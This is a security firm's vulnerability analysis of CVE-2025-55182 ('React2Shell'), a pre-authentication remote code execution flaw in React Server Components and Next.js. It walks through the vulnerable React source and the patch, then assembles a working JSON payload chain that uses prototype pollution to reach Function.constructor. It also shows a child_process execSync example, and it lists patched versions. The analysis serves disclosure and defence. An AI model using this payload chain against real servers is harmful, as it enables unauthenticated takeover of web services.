Go to Top

Go to Top

Vulnerability research

Vulnerability research

Vulnerability research

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

EnkiWhiteHat

EnkiWhiteHat

Dec 9, 2025

Dec 9, 2025

Dec 9, 2025

Content

Content

Content

What is CVE-2025-55182 (React2Shell)?


The CVE-2025-55182 vulnerability, known as React2Shell, occurs in React Server Components (RSC) used in the latest version of React. Attackers can achieve Remote Code Execution without any authentication (Pre-authentication) against the web services using the vulnerable version, and the attack complexity is not high. For these reasons, this vulnerability has received a maximum severity score of 10.0 on the Common Vulnerability Scoring System (CVSS).

Furthermore, the Next.js framework, which is widely used in the current Node.js ecosystem, is also based on React, exposing it to the same vulnerability. This has a very large impact and poses high risks in real service environments. Thus, quickly identifying the scope of this vulnerability and applying patches is of utmost importance.

Before React2Shell…

Before diving into the React2Shell vulnerability, a light understanding of the concept of React Server Component, which may be somewhat unfamiliar to security personnel, and Prototype Pollution, which may be unfamiliar to developers, is needed.

React Server Component & Flight Protocol

When providing web services, processing the web pages displayed to users entirely on the server side and providing the completed DOM is called Server-Side Rendering (SSR). In contrast, delivering only data in an API format and processing the actual DOM composition on the user's web browser (Client-side) is called Client-Side Rendering (CSR).

CSR enables a richer web service experience and interaction by providing the skeletal structure of the page to the user, while all actual DOM composition is performed on the user's web browser. However, as frontend functionalities become increasingly complex, the amount of computations that the browser needs to handle has increased, leading to greater consumption of the user's device resources and decreased user experience due to performance degradation.

To address these issues, React introduced React Server Components (RSC), which handle significant portions of rendering on the server rather than the client. RSC is a technology where the execution of React components occurs on the server side, and the execution results are rendered on the client. It is a concept that combines the existing SSR and CSR, rendering the state of the new page only up to the React Component form on the server, and allowing clients to render the components, thereby reducing client-side load.

Although JSON is an excellent serialization format for handling data, it is unsuitable for dealing with complex React Components. To handle React Components appropriately, it must be able to process complex types and references such as Promise, Blob, and Map, beyond simple strings, dictionaries, and arrays. Therefore, RSC uses a unique protocol and serialization format called the Flight Protocol.

Expression

Type

Example

Description

$$

Escaped $

"$$hello" → "$hello"

Literal string starting with $

$@

Promise/Chunk

"$@0"

Reference to chunk ID 0

$F

Server Reference

"$F0"

Server function reference

$T

Temporary Ref

"$T"

Opaque temporary reference

$Q

Map

"$Q0"

Map object at chunk 0

$W

Set

"$W0"

Set object at chunk 0

$K

FormData

"$K0"

FormData at chunk 0

FormData object

$B

Blob

"$B0"

Blob at chunk 0

Blob object

$n

BigInt

"$n123"

BigInt value

$D

Date

"$D2024-01-01"

Date object

$N

NaN

"$N"

NaN value

$I

Infinity

"$I"

Infinity

$-

-Infinity/-0

"$-I" or "$-0"

Negative infinity or negative zero

$u

undefined

"$u"

Undefined value

$R

ReadableStream

"$R0"

ReadableStream

$0-9a-f

Chunk Reference

"$1", "$a"

Reference to chunk by hex ID

Prototype Pollution

Objects in Javascript are quite distinct from the object style commonly known as 'object-oriented' in Java or C++. In Javascript, when objects are created, they are not inherited from a class but from another object. In other words, new objects do not clone from a specific template (Class) but expand their functionality based on another object they reference.

In this inheritance structure, a Prototype is the parent object referred to by an object, and it is the target where a lookup continues for properties or methods not directly possessed by the object. For example, in Javascript, an array uses Array.prototype as its prototype, where methods like toString and push are implemented, allowing them to be used through the prototype.

Due to this characteristic of Javascript, if a property can be set on a prototype object through any means, it can seem as if newly created objects have that property set. This act of polluting the prototype or accessing it inappropriately is called Prototype Pollution. It might be a somewhat unfamiliar concept at first, but it can be easily understood through the example code below, and we'll explore Prototype Pollution in more detail later.

let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //Object의 Prototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`는 자신 스스로의 Property가 아니기 때문)

Cause Analysis

Diff Analysis

Before analyzing the cause of the vulnerability, it's worth noting that the React2Shell vulnerability was patched through commit 7dc903c in the GitHub repository facebook/react (GitHub Commit). Among the changes made with this commit, modifications related to the Flight Protocol and Prototype were made in packages/react-server/src/ReactFlightReplyServer.js.


caption - Addition of property value checks in getOutlinedModel function implementation within ReactFlightReplyServer.js

Processing Flight Protocol - Gateway to RSC

When the getOutlinedModel function is called among the Flight Protocol data passed to the react-server, it is preprocessed through function calls like below in ReactFlightReplyServer.js.

  • initializeModelChunk() Initialization of Chunk when Flight Protocol request occurs

  • reviveModel(): Restores Model from request data

  • parseModelString(): Creates Model from string data (deserialization)

  • getOutlinedModel(): Handles Chunk References occurring during deserialization

Raw Chunk Reference

In the earlier overview of the Flight Protocol, expressions like $@0 were explained to refer to Chunk 0. Looking at the actual implementation, the parseModelString() function appears as follows. (ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

For References starting with @, it is implemented as a Raw reference that accepts and returns the Chunk Promise itself. Through this, a reference to the Promise can be obtained. (CAUSE #1)

Unserialize & Prototype Pollution - To the essence of Chunk

The implementation of the getOutlinedModel() function just before the vulnerability patch is as follows. (ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

In this function, when chunk.status is INITIALIZED, it can be seen that path members obtained with reference.split(':') continue to be referenced within value. Because checks like hasOwnProperty are absent in this process, it is possible to achieve Prototype Pollution through the __proto__ member. (CAUSE #2)

For instance, if the reference expression is $1:__proto__:aaa, it would reference the member aaa of the prototype of Chunk 1.

At this time, if Chunk 1 is a Promise type object as seen with $@0 earlier, then $1:__proto__ would represent (Chunk0).__proto__, which eventually means that Chunk.prototype can be accessed.

Using CAUSE #1 and CAUSE #2, an attacker becomes capable of accessing Chunk.prototype. (PRIMITIVE #1)

Chunk.prototype - Make initializeModelChunk Great Again

The information obtained about Chunk.prototype through PRIMITIVE #1 can also be confirmed within the same ReactFlightReplyServer.js file. (ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed

Chunk is essentially a Promise object, and the .then() method is divided into different behaviors depending on this.status.

Meanwhile, by using PRIMITIVE #1, if $1:__proto__:then is referenced, it becomes possible to make any property of the chunk into the Chunk.prototype.then function, thereby allowing a property named then to point to Chunk.prototype.then.

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

If a Chunk is set as exemplified above, then is essentially Chunk.prototype.then, and since this.status is resolved_model within then, an attacker can call any initializeModelChunk function if only this chunk (actually a Promise) can be resolved. (PRIMITIVE #2)

initializeModelChunk - Once More

By utilizing PRIMITIVE #2, an attacker can call the initializeModelChunk function using fully-controllable values once more. The implementation of this function is as follows. (ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {''

At this time, the attacker can completely control the value of resolvedModel, allowing them to call the reviveModel function with any JSON object. Furthermore, chunk._response was likewise a manipulatable value since the initializeModelChunk() call process, so PRIMITIVE #2 reduces to an arbitrary reviveModel function call.

reviveModel - Blob

The reviveModel() function internally calls parseModelString() as before. Within this parseModelString() is logic for handling Blob data. (ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

At this time, recalling that the response being referenced in the code block is a manipulatable value by the attacker, blobKey can also be manipulated in the form of (desiredString) || (arbitraryInteger), and response._formData.get can also be manipulated with appropriate value.

Since response._formData.get needs to be a callable function, CAUSE #1 can be recalled and applied.


As above, since $1:constructor:constructor becomes Function.constructor, if a chunk is organized as below, it becomes possible to create an arbitrary function using Function.constructor and assign it to value.

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

If the above _response is processed through Blob, eventually, the function Function.constructor("console.log(1337);//1") is returned, resulting in the following structure.

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

Here, the attacker can create any desired JavaScript function and further make value itself a Thenable with the then as a function.

Also, looking back at the Chunk.prototype.then() function,

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {

Upon completion of the initializeModelChunk call where Blob is processed and value is a Thenable with a then made by the attacker's arbitrary function, the line resolve(chunk.value) ends up executing an arbitrary JavaScript function. (PRIMITIVE #3)

Sum Everything, Next Resolves Everything

At this point, it's necessary to revisit what the attacker gains in terms of Primitive information.

PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행

Regardless of form, if the then of Chunk is resolved initially, PRIMITIVE #2 leads to PRIMITIVE #3, thereby enabling an arbitrary function call.

Consider this configuration of the attacker's Chunk:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

In such a configuration, provided then is correctly invoked, the flow below enables arbitrary code execution server-side.

  1. .then() is executed with the whole as this since it's essentially Chunk.prototype.then

  2. value = JSON.parse("{\\"then\\": \\"$B1\\"}"), followed by reviveModel call

  3. Within reviveModel, set $B1337 with Function.constructor("console.log(1);//1")

  4. The then of value is invoked again ⇒ triggers Function.constructor("console.log(1);//1)() execution

  5. Executes arbitrary javascript code found in _response._prefix

If we examine a very representative framework using React, such as Next.js, we notice that, should a Next-Action header be delivered, the action handler includes the following code. (action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

In this case, the decodeReplyFromBusboy function processes multipart/form-data type requests to return a chunk.

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

That is, if the above Chunk was provided in multipart/form-data form, the decodeReplyFromBusboy function parses the chunk and ends up returning the chunk below.

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

This object becomes a Thenable since it contains a then member and is a Function as defined in JavaScript. (MDN - Thenable)

Hence, through the initial Chunk.prototype.then, access to a properly arranged second initializeModelChunk can be achieved, leading to the execution of the console.log(1) code eventually.

The JavaScript executed here is not client-side code, but code running server-side through node.js, thus enabling the attacker to run arbitrary code on the server, such as process.mainModule.require('child_process').execSync('id > /tmp/test');.

Am I vulnerable too?

All servers operating on a React-server basis, including Next.js, are exposed to the React2Shell vulnerability. This vulnerability has a very high severity and impact, with multiple Proof of Concepts (PoCs) already published and real attack attempts confirmed, making swift inspection and response essential.

It is difficult to effectively defend against this vulnerability by merely adding WAF rules. In the process of handling Flight requests in RSC, the server converts the attacker's input using the JSON.parse function as shown below.

const rawModel = JSON.parse(resolvedModel);

Due to this process, the attacker can craft an Exploit Payload using JSON syntax and manipulate it with notations like \\uXXXX to evade detection by disguising the malicious payload.

Therefore, the most critical and urgent solution is to patch the vulnerable version of RSC/Next.js for a fundamental response.

According to Next.js, this vulnerability has been patched in the following versions of Next.js.

15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7

While diagnosing the React2Shell vulnerability can be done by directly utilizing the publicly available PoC code, it can also be securely and simply checked for vulnerabilities using the emergency scanner provided by the OFFen ASM attack surface management solution by Enki Whitehat.

OFFen ASM Emergency Scanner Page

https://vuln.offen.im/



Reference

EnkiWhiteHat

EnkiWhiteHat

ENKI Whitehat
ENKI Whitehat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.